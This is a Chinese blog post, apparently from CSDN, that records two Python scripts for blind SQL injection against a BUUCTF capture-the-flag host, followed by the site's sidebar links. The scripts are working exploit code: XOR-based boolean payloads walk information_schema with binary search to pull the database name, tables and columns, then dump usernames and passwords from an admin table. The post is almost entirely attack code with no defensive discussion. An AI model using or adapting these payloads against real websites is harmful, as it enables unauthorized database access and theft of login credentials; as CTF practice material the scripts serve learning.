当前位置:网站首页>记录一下盲注脚本
记录一下盲注脚本
2022-04-23 04:03:00 【-栀蓝-】
import requests
url= 'http://46206bf0-67f6-43a5-ac69-5d26d094e942.node4.buuoj.cn:81/backend/content_detail.php'
database =""
payload1 = "?id=1^(ascii(substr((select(database())),{},1))>{})^1" #库名为news
payload2 = "?id=1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=\'news\')),{},1))>{})^1"#表名为admin,contents
payload3 ="?id=1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='admin')),{},1))>{})^1" #列名为flag,value
payload4 = "?id=1^(ascii(substr((select(group_concat(id,0x3a,username,0x3a,password))from(admin)),{},1))>{})^1"
for i in range(1,10000):#二分法
low = 28
high = 137
mid =(low + high) // 2
while(low < high):
#payload = payload1.format(i,mid) #查库名
#payload = payload2.format(i,mid) #查表名
#payload = payload3.format(i,mid) #查列名
payload = payload4.format(i,mid) #查flag
new_url = url + payload
r = requests.get(new_url)
#text=str(r.json())
#print(new_url)
if "title" in r.text:
low = mid + 1
else:
high = mid
mid = (low + high) //2
if (mid == 32 or mid == 128):
break
#chr()返回ascii对应的字符
database +=chr(mid)
print(database)
print(database)
import time
import re
import requests
import string
url = "http://46206bf0-67f6-43a5-ac69-5d26d094e942.node4.buuoj.cn:81/backend/content_detail.php"
flag = ''
def payload(i, j):
time.sleep(0.2)
# 数据库名字ord()返回对应的ascii值,chr()返回ascii对应的字符
#sql = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1"%(i,j)
# 表名admin,contents
#sql = "1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),%d,1))>%d)^1"%(i,j)
# 字段名
#sql = "1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='admin')),%d,1))>%d)^1"%(i,j)
# 查询flag
sql = "1^(ord(substr((select(group_concat(username,0x3a,password))from(admin)),%d,1))>%d)^1" % (i, j)
data = {"id": sql}
r = requests.get(url, params=data)
if "title" in r.text:
res = 1
else:
res = 0
return res
def exp():
global flag
for i in range(1, 10000):
print(i, ':')
low = 31
high = 127
while low <= high:
mid = (low + high) // 2
res = payload(i, mid)
if res:
low = mid + 1
else:
high = mid - 1
f = int((low + high + 1)) // 2
if (f == 127 or f == 31):
break
# print (f)
flag += chr(f)
print(flag)
exp()
print('flag=', flag)
版权声明
本文为[-栀蓝-]所创,转载请带上原文链接,感谢
https://blog.csdn.net/qq_54929891/article/details/124352735
边栏推荐
- STM32 upper μ C / shell transplantation and Application
- Unipolar NRZ code, bipolar NRZ code, 2ASK, 2FSK, 2PSK, 2DPSK and MATLAB simulation
- AI CC 2019 installation tutorial under win10 (super detailed - small white version)
- 【Echart】echart 入門
- What if you encounter symbols you don't know in mathematical formulas
- QT program integration easyplayer RTSP streaming media player screen flicker what is the reason?
- Set经典小题目
- Definition, understanding and calculation of significant figures in numerical analysis
- Machine translation baseline
- VHDL语言实现32位二进制数转BCD码
猜你喜欢
[mapping program design] coordinate azimuth calculation artifact (version C)
matlab讀取多張fig圖然後合並為一張圖(子圖的形式)
[mapping program design] coordinate inverse artifact v1 0 (with C / C / VB source program)
[AI vision · quick review of NLP natural language processing papers today, No. 32] wed, 20 APR 2022
Matlab minimalist configuration of vscode configuration
What if you encounter symbols you don't know in mathematical formulas
Network principle | connection management mechanism in TCP / IP important protocol and core mechanism
【测绘程序设计】坐标方位角推算神器(C#版)
[AI vision · quick review of NLP natural language processing papers today, issue 30] Thu, 14 APR 2022
ROS series (IV): ROS communication mechanism series (2): Service Communication
随机推荐
RuntimeError: output with shape [4, 1, 512, 512] doesn‘t match the broadcast shape[4, 4, 512, 512]
伦敦银最新价格走势图与买卖点
Basic usage of Google colab (I)
Xiaomi, qui a établi le plus grand volume de ventes de téléphones portables domestiques sur le marché d'outre - mer, se concentre de nouveau sur le marché intérieur
Alibaba cloud IOT transfer to PostgreSQL database scheme
Using VBA interval to extract one column from another in Excel
Network principle | connection management mechanism in TCP / IP important protocol and core mechanism
Stm32f4 MCU ADC sampling and FFT of ARM-DSP Library
[AI vision · quick review of today's sound acoustic papers issue 1] Thu, 14 APR 2022
Operating skills of spot gold_ Wave estimation curve
[AI vision · quick review of robot papers today, issue 30] Thu, 14 APR 2022
Nel ASA:挪威Herøya设施正式启用
基于PHP的代步工具购物商城
Jupiter notebook modify configuration file setting startup directory is invalid
[mapping program design] coordinate azimuth calculation artifact (version C)
【NeurIPS 2019】Self-Supervised Deep Learning on Point Clouds by Reconstructing Space
现货黄金基本介绍
Opencv -- yoact case segmentation model reasoning
A function second kill 2sum 3sum 4sum problem
ERROR: Could not find a version that satisfies the requirement win32gui